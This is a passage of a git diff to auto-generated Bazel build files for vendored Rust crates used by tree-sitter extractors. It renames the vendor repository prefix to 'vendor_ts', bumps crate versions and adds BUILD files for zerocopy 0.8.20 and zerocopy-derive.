+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.33.0",
+    deps = [
+        "@vendor_ts__wit-bindgen-rt-0.33.0//:build_script_build",
+    ],
+)
+
+cargo_build_script(
+    name = "_bs",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            "**/*.rs",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_name = "build_script_build",
+    crate_root = "build.rs",
+    data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    edition = "2021",
+    pkg_name = "wit-bindgen-rt",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=wit-bindgen-rt",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    version = "0.33.0",
+    visibility = ["//visibility:private"],
+)
+
+alias(
+    name = "build_script_build",
+    actual = ":_bs",
+    tags = ["manual"],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-0.7.35.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-0.7.35.bazel
index ac2c3dbf2572..04a723e7bd5c 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-0.7.35.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-0.7.35.bazel
@@ -38,7 +38,7 @@ rust_library(
     crate_root = "src/lib.rs",
     edition = "2018",
     proc_macro_deps = [
-        "@vendor__zerocopy-derive-0.7.35//:zerocopy_derive",
+        "@vendor_ts__zerocopy-derive-0.7.35//:zerocopy_derive",
     ],
     rustc_flags = [
         "--cap-lints=allow",
@@ -91,6 +91,6 @@ rust_library(
     }),
     version = "0.7.35",
     deps = [
-        "@vendor__byteorder-1.5.0//:byteorder",
+        "@vendor_ts__byteorder-1.5.0//:byteorder",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-0.8.20.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-0.8.20.bazel
new file mode 100644
index 000000000000..2e234c58a3be
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-0.8.20.bazel
@@ -0,0 +1,148 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "zerocopy",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "simd",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=zerocopy",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.8.20",
+    deps = [
+        "@vendor_ts__zerocopy-0.8.20//:build_script_build",
+    ],
+)
+
+cargo_build_script(
+    name = "_bs",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            "**/*.rs",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "simd",
+    ],
+    crate_name = "build_script_build",
+    crate_root = "build.rs",
+    data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    edition = "2021",
+    pkg_name = "zerocopy",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=zerocopy",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    version = "0.8.20",
+    visibility = ["//visibility:private"],
+)
+
+alias(
+    name = "build_script_build",
+    actual = ":_bs",
+    tags = ["manual"],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.7.35.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.7.35.bazel
index b457d85d3503..c896b4653f17 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.7.35.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.7.35.bazel
@@ -81,8 +81,8 @@ rust_proc_macro(
     }),
     version = "0.7.35",
     deps = [
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.8.20.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.8.20.bazel
new file mode 100644
index 000000000000..7e87cf6b1bf8
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.8.20.bazel
@@ -0,0 +1,88 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_proc_macro(
+    name = "zerocopy_derive",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=zerocopy-derive",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.8.20",
+    deps = [
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/crates.bzl b/misc/bazel/3rdparty/tree_sitter_extractors_deps/crates.bzl
index 932b9ce66d0b..6d6d80ef58ce 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/crates.bzl
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/crates.bzl
@@ -22,11 +22,11 @@ def crate_repositories():
     """
     maybe(
         crates_vendor_remote_repository,
-        name = "vendor",
+        name = "vendor_ts",
         build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.bazel"),
         defs_module = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:defs.bzl"),
     )
 
-    direct_deps = [struct(repo = "vendor", is_dev_dep = False)]
+    direct_deps = [struct(repo = "vendor_ts", is_dev_dep = False)]
     direct_deps.extend(_crate_repositories())
     return direct_deps
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl b/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl
index bd5fbaf27ae0..b011a2c98008 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl
@@ -296,89 +296,91 @@ def aliases(
 _NORMAL_DEPENDENCIES = {
     "ruby/extractor": {
         _COMMON_CONDITION: {
-            "clap": Label("@vendor__clap-4.5.26//:clap"),
-            "encoding": Label("@vendor__encoding-0.2.33//:encoding"),
-            "lazy_static": Label("@vendor__lazy_static-1.5.0//:lazy_static"),
-            "rayon": Label("@vendor__rayon-1.10.0//:rayon"),
-            "regex": Label("@vendor__regex-1.11.1//:regex"),
-            "tracing": Label("@vendor__tracing-0.1.41//:tracing"),
-            "tracing-subscriber": Label("@vendor__tracing-subscriber-0.3.19//:tracing_subscriber"),
-            "tree-sitter": Label("@vendor__tree-sitter-0.24.6//:tree_sitter"),
-            "tree-sitter-embedded-template": Label("@vendor__tree-sitter-embedded-template-0.23.2//:tree_sitter_embedded_template"),
-            "tree-sitter-ruby": Label("@vendor__tree-sitter-ruby-0.23.1//:tree_sitter_ruby"),
+            "clap": Label("@vendor_ts__clap-4.5.32//:clap"),
+            "encoding": Label("@vendor_ts__encoding-0.2.33//:encoding"),
+            "lazy_static": Label("@vendor_ts__lazy_static-1.5.0//:lazy_static"),
+            "rayon": Label("@vendor_ts__rayon-1.10.0//:rayon"),
+            "regex": Label("@vendor_ts__regex-1.11.1//:regex"),
+            "tracing": Label("@vendor_ts__tracing-0.1.41//:tracing"),
+            "tracing-subscriber": Label("@vendor_ts__tracing-subscriber-0.3.19//:tracing_subscriber"),
+            "tree-sitter": Label("@vendor_ts__tree-sitter-0.24.6//:tree_sitter"),
+            "tree-sitter-embedded-template": Label("@vendor_ts__tree-sitter-embedded-template-0.23.2//:tree_sitter_embedded_template"),
+            "tree-sitter-ruby": Label("@vendor_ts__tree-sitter-ruby-0.23.1//:tree_sitter_ruby"),
         },
     },
     "rust/ast-generator": {
         _COMMON_CONDITION: {
-            "anyhow": Label("@vendor__anyhow-1.0.95//:anyhow"),
-            "either": Label("@vendor__either-1.13.0//:either"),
-            "itertools": Label("@vendor__itertools-0.14.0//:itertools"),
-            "mustache": Label("@vendor__mustache-0.9.0//:mustache"),
-            "proc-macro2": Label("@vendor__proc-macro2-1.0.93//:proc_macro2"),
-            "quote": Label("@vendor__quote-1.0.38//:quote"),
-            "serde": Label("@vendor__serde-1.0.217//:serde"),
-            "stdx": Label("@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx"),
-            "ungrammar": Label("@vendor__ungrammar-1.16.1//:ungrammar"),
+            "anyhow": Label("@vendor_ts__anyhow-1.0.97//:anyhow"),
+            "either": Label("@vendor_ts__either-1.15.0//:either"),
+            "itertools": Label("@vendor_ts__itertools-0.14.0//:itertools"),
+            "mustache": Label("@vendor_ts__mustache-0.9.0//:mustache"),
+            "proc-macro2": Label("@vendor_ts__proc-macro2-1.0.94//:proc_macro2"),
+            "quote": Label("@vendor_ts__quote-1.0.40//:quote"),
+            "serde": Label("@vendor_ts__serde-1.0.219//:serde"),
+            "stdx": Label("@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx"),
+            "ungrammar": Label("@vendor_ts__ungrammar-1.16.1//:ungrammar"),
         },
     },
     "rust/autobuild": {
     },
     "rust/extractor": {
         _COMMON_CONDITION: {
-            "anyhow": Label("@vendor__anyhow-1.0.95//:anyhow"),
-            "argfile": Label("@vendor__argfile-0.2.1//:argfile"),
-            "chrono": Label("@vendor__chrono-0.4.39//:chrono"),
-            "clap": Label("@vendor__clap-4.5.26//:clap"),
-            "dunce": Label("@vendor__dunce-1.0.5//:dunce"),
-            "figment": Label("@vendor__figment-0.10.19//:figment"),
-            "glob": Label("@vendor__glob-0.3.2//:glob"),
-            "itertools": Label("@vendor__itertools-0.14.0//:itertools"),
-            "num-traits": Label("@vendor__num-traits-0.2.19//:num_traits"),
-            "ra_ap_base_db": Label("@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db"),
-            "ra_ap_cfg": Label("@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg"),
-            "ra_ap_hir": Label("@vendor__ra_ap_hir-0.0.258//:ra_ap_hir"),
-            "ra_ap_hir_def": Label("@vendor__ra_ap_hir_def-0.0.258//:ra_ap_hir_def"),
-            "ra_ap_hir_expand": Label("@vendor__ra_ap_hir_expand-0.0.258//:ra_ap_hir_expand"),
-            "ra_ap_ide_db": Label("@vendor__ra_ap_ide_db-0.0.258//:ra_ap_ide_db"),
-            "ra_ap_intern": Label("@vendor__ra_ap_intern-0.0.258//:ra_ap_intern"),
-            "ra_ap_load-cargo": Label("@vendor__ra_ap_load-cargo-0.0.258//:ra_ap_load_cargo"),
-            "ra_ap_parser": Label("@vendor__ra_ap_parser-0.0.258//:ra_ap_parser"),
-            "ra_ap_paths": Label("@vendor__ra_ap_paths-0.0.258//:ra_ap_paths"),
-            "ra_ap_project_model": Label("@vendor__ra_ap_project_model-0.0.258//:ra_ap_project_model"),
-            "ra_ap_span": Label("@vendor__ra_ap_span-0.0.258//:ra_ap_span"),
-            "ra_ap_syntax": Label("@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax"),
-            "ra_ap_vfs": Label("@vendor__ra_ap_vfs-0.0.258//:ra_ap_vfs"),
-            "serde": Label("@vendor__serde-1.0.217//:serde"),
-            "serde_json": Label("@vendor__serde_json-1.0.135//:serde_json"),
-            "serde_with": Label("@vendor__serde_with-3.12.0//:serde_with"),
-            "toml": Label("@vendor__toml-0.8.19//:toml"),
-            "tracing": Label("@vendor__tracing-0.1.41//:tracing"),
-            "tracing-flame": Label("@vendor__tracing-flame-0.2.0//:tracing_flame"),
-            "tracing-subscriber": Label("@vendor__tracing-subscriber-0.3.19//:tracing_subscriber"),
-            "triomphe": Label("@vendor__triomphe-0.1.14//:triomphe"),
+            "anyhow": Label("@vendor_ts__anyhow-1.0.97//:anyhow"),
+            "argfile": Label("@vendor_ts__argfile-0.2.1//:argfile"),
+            "chalk-ir": Label("@vendor_ts__chalk-ir-0.100.0//:chalk_ir"),
+            "chrono": Label("@vendor_ts__chrono-0.4.40//:chrono"),
+            "clap": Label("@vendor_ts__clap-4.5.32//:clap"),
+            "dunce": Label("@vendor_ts__dunce-1.0.5//:dunce"),
+            "figment": Label("@vendor_ts__figment-0.10.19//:figment"),
+            "glob": Label("@vendor_ts__glob-0.3.2//:glob"),
+            "itertools": Label("@vendor_ts__itertools-0.14.0//:itertools"),
+            "num-traits": Label("@vendor_ts__num-traits-0.2.19//:num_traits"),
+            "ra_ap_base_db": Label("@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db"),
+            "ra_ap_cfg": Label("@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg"),
+            "ra_ap_hir": Label("@vendor_ts__ra_ap_hir-0.0.270//:ra_ap_hir"),
+            "ra_ap_hir_def": Label("@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def"),
+            "ra_ap_hir_expand": Label("@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand"),
+            "ra_ap_hir_ty": Label("@vendor_ts__ra_ap_hir_ty-0.0.270//:ra_ap_hir_ty"),
+            "ra_ap_ide_db": Label("@vendor_ts__ra_ap_ide_db-0.0.270//:ra_ap_ide_db"),
+            "ra_ap_intern": Label("@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern"),
+            "ra_ap_load-cargo": Label("@vendor_ts__ra_ap_load-cargo-0.0.270//:ra_ap_load_cargo"),
+            "ra_ap_parser": Label("@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser"),
+            "ra_ap_paths": Label("@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths"),
+            "ra_ap_project_model": Label("@vendor_ts__ra_ap_project_model-0.0.270//:ra_ap_project_model"),
+            "ra_ap_span": Label("@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span"),
+            "ra_ap_syntax": Label("@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax"),
+            "ra_ap_vfs": Label("@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs"),
+            "serde": Label("@vendor_ts__serde-1.0.219//:serde"),
+            "serde_json": Label("@vendor_ts__serde_json-1.0.140//:serde_json"),
+            "serde_with": Label("@vendor_ts__serde_with-3.12.0//:serde_with"),
+            "toml": Label("@vendor_ts__toml-0.8.20//:toml"),
+            "tracing": Label("@vendor_ts__tracing-0.1.41//:tracing"),
+            "tracing-flame": Label("@vendor_ts__tracing-flame-0.2.0//:tracing_flame"),
+            "tracing-subscriber": Label("@vendor_ts__tracing-subscriber-0.3.19//:tracing_subscriber"),
+            "triomphe": Label("@vendor_ts__triomphe-0.1.14//:triomphe"),
         },
     },
     "rust/extractor/macros": {
         _COMMON_CONDITION: {
-            "quote": Label("@vendor__quote-1.0.38//:quote"),
-            "syn": Label("@vendor__syn-2.0.96//:syn"),
+            "quote": Label("@vendor_ts__quote-1.0.40//:quote"),
+            "syn": Label("@vendor_ts__syn-2.0.100//:syn"),
         },
     },
     "shared/tree-sitter-extractor": {
         _COMMON_CONDITION: {
-            "chrono": Label("@vendor__chrono-0.4.39//:chrono"),
-            "encoding": Label("@vendor__encoding-0.2.33//:encoding"),
-            "flate2": Label("@vendor__flate2-1.0.35//:flate2"),
-            "globset": Label("@vendor__globset-0.4.15//:globset"),
-            "lazy_static": Label("@vendor__lazy_static-1.5.0//:lazy_static"),
-            "num_cpus": Label("@vendor__num_cpus-1.16.0//:num_cpus"),
-            "rayon": Label("@vendor__rayon-1.10.0//:rayon"),
-            "regex": Label("@vendor__regex-1.11.1//:regex"),
-            "serde": Label("@vendor__serde-1.0.217//:serde"),
-            "serde_json": Label("@vendor__serde_json-1.0.135//:serde_json"),
-            "tracing": Label("@vendor__tracing-0.1.41//:tracing"),
-            "tracing-subscriber": Label("@vendor__tracing-subscriber-0.3.19//:tracing_subscriber"),
-            "tree-sitter": Label("@vendor__tree-sitter-0.24.6//:tree_sitter"),
+            "chrono": Label("@vendor_ts__chrono-0.4.40//:chrono"),
+            "encoding": Label("@vendor_ts__encoding-0.2.33//:encoding"),
+            "flate2": Label("@vendor_ts__flate2-1.1.0//:flate2"),
+            "globset": Label("@vendor_ts__globset-0.4.15//:globset"),
+            "lazy_static": Label("@vendor_ts__lazy_static-1.5.0//:lazy_static"),
+            "num_cpus": Label("@vendor_ts__num_cpus-1.16.0//:num_cpus"),
+            "rayon": Label("@vendor_ts__rayon-1.10.0//:rayon"),
+            "regex": Label("@vendor_ts__regex-1.11.1//:regex"),
+            "serde": Label("@vendor_ts__serde-1.0.219//:serde"),
+            "serde_json": Label("@vendor_ts__serde_json-1.0.140//:serde_json"),
+            "tracing": Label("@vendor_ts__tracing-0.1.41//:tracing"),
+            "tracing-subscriber": Label("@vendor_ts__tracing-subscriber-0.3.19//:tracing_subscriber"),
+            "tree-sitter": Label("@vendor_ts__tree-sitter-0.24.6//:tree_sitter"),
         },
     },
 }
@@ -390,7 +392,7 @@ _NORMAL_ALIASES = {
     },
     "rust/ast-generator": {
         _COMMON_CONDITION: {
-            Label("@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx"): "stdx",
+            Label("@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx"): "stdx",
         },
     },
     "rust/autobuild": {
@@ -422,9 +424,9 @@ _NORMAL_DEV_DEPENDENCIES = {
     },
     "shared/tree-sitter-extractor": {
         _COMMON_CONDITION: {
-            "rand": Label("@vendor__rand-0.8.5//:rand"),
-            "tree-sitter-json": Label("@vendor__tree-sitter-json-0.24.8//:tree_sitter_json"),
-            "tree-sitter-ql": Label("@vendor__tree-sitter-ql-0.23.1//:tree_sitter_ql"),
+            "rand": Label("@vendor_ts__rand-0.9.0//:rand"),
+            "tree-sitter-json": Label("@vendor_ts__tree-sitter-json-0.24.8//:tree_sitter_json"),
+            "tree-sitter-ql": Label("@vendor_ts__tree-sitter-ql-0.23.1//:tree_sitter_ql"),
         },
     },
 }
@@ -584,24 +586,36 @@ _CONDITIONS = {
     "armv7-linux-androideabi": ["@rules_rust//rust/platform:armv7-linux-androideabi"],
     "armv7-unknown-linux-gnueabi": ["@rules_rust//rust/platform:armv7-unknown-linux-gnueabi"],
     "cfg(all(any(target_arch = \"x86_64\", target_arch = \"arm64ec\"), target_env = \"msvc\", not(windows_raw_dylib)))": ["@rules_rust//rust/platform:x86_64-pc-windows-msvc"],
+    "cfg(all(any(target_os = \"linux\", target_os = \"android\"), not(any(getrandom_backend = \"custom\", getrandom_backend = \"rdrand\", getrandom_backend = \"rndr\"))))": ["@rules_rust//rust/platform:aarch64-linux-android", "@rules_rust//rust/platform:aarch64-unknown-linux-gnu", "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu", "@rules_rust//rust/platform:arm-unknown-linux-gnueabi", "@rules_rust//rust/platform:armv7-linux-androideabi", "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi", "@rules_rust//rust/platform:i686-linux-android", "@rules_rust//rust/platform:i686-unknown-linux-gnu", "@rules_rust//rust/platform:powerpc-unknown-linux-gnu", "@rules_rust//rust/platform:s390x-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-linux-android", "@rules_rust//rust/platform:x86_64-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu"],
     "cfg(all(target_arch = \"aarch64\", target_env = \"msvc\", not(windows_raw_dylib)))": ["@rules_rust//rust/platform:aarch64-pc-windows-msvc"],
     "cfg(all(target_arch = \"wasm32\", target_os = \"unknown\"))": ["@rules_rust//rust/platform:wasm32-unknown-unknown"],
+    "cfg(all(target_arch = \"wasm32\", target_os = \"wasi\", target_env = \"p2\"))": [],
     "cfg(all(target_arch = \"x86\", target_env = \"gnu\", not(target_abi = \"llvm\"), not(windows_raw_dylib)))": ["@rules_rust//rust/platform:i686-unknown-linux-gnu"],
     "cfg(all(target_arch = \"x86\", target_env = \"gnu\", not(windows_raw_dylib)))": ["@rules_rust//rust/platform:i686-unknown-linux-gnu"],
     "cfg(all(target_arch = \"x86\", target_env = \"msvc\", not(windows_raw_dylib)))": ["@rules_rust//rust/platform:i686-pc-windows-msvc"],
     "cfg(all(target_arch = \"x86_64\", target_env = \"gnu\", not(target_abi = \"llvm\"), not(windows_raw_dylib)))": ["@rules_rust//rust/platform:x86_64-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu"],
     "cfg(all(target_arch = \"x86_64\", target_env = \"msvc\", not(windows_raw_dylib)))": ["@rules_rust//rust/platform:x86_64-pc-windows-msvc"],
-    "cfg(any(target_os = \"freebsd\", target_os = \"openbsd\", target_os = \"netbsd\", target_os = \"dragonflybsd\"))": ["@rules_rust//rust/platform:i686-unknown-freebsd", "@rules_rust//rust/platform:x86_64-unknown-freebsd"],
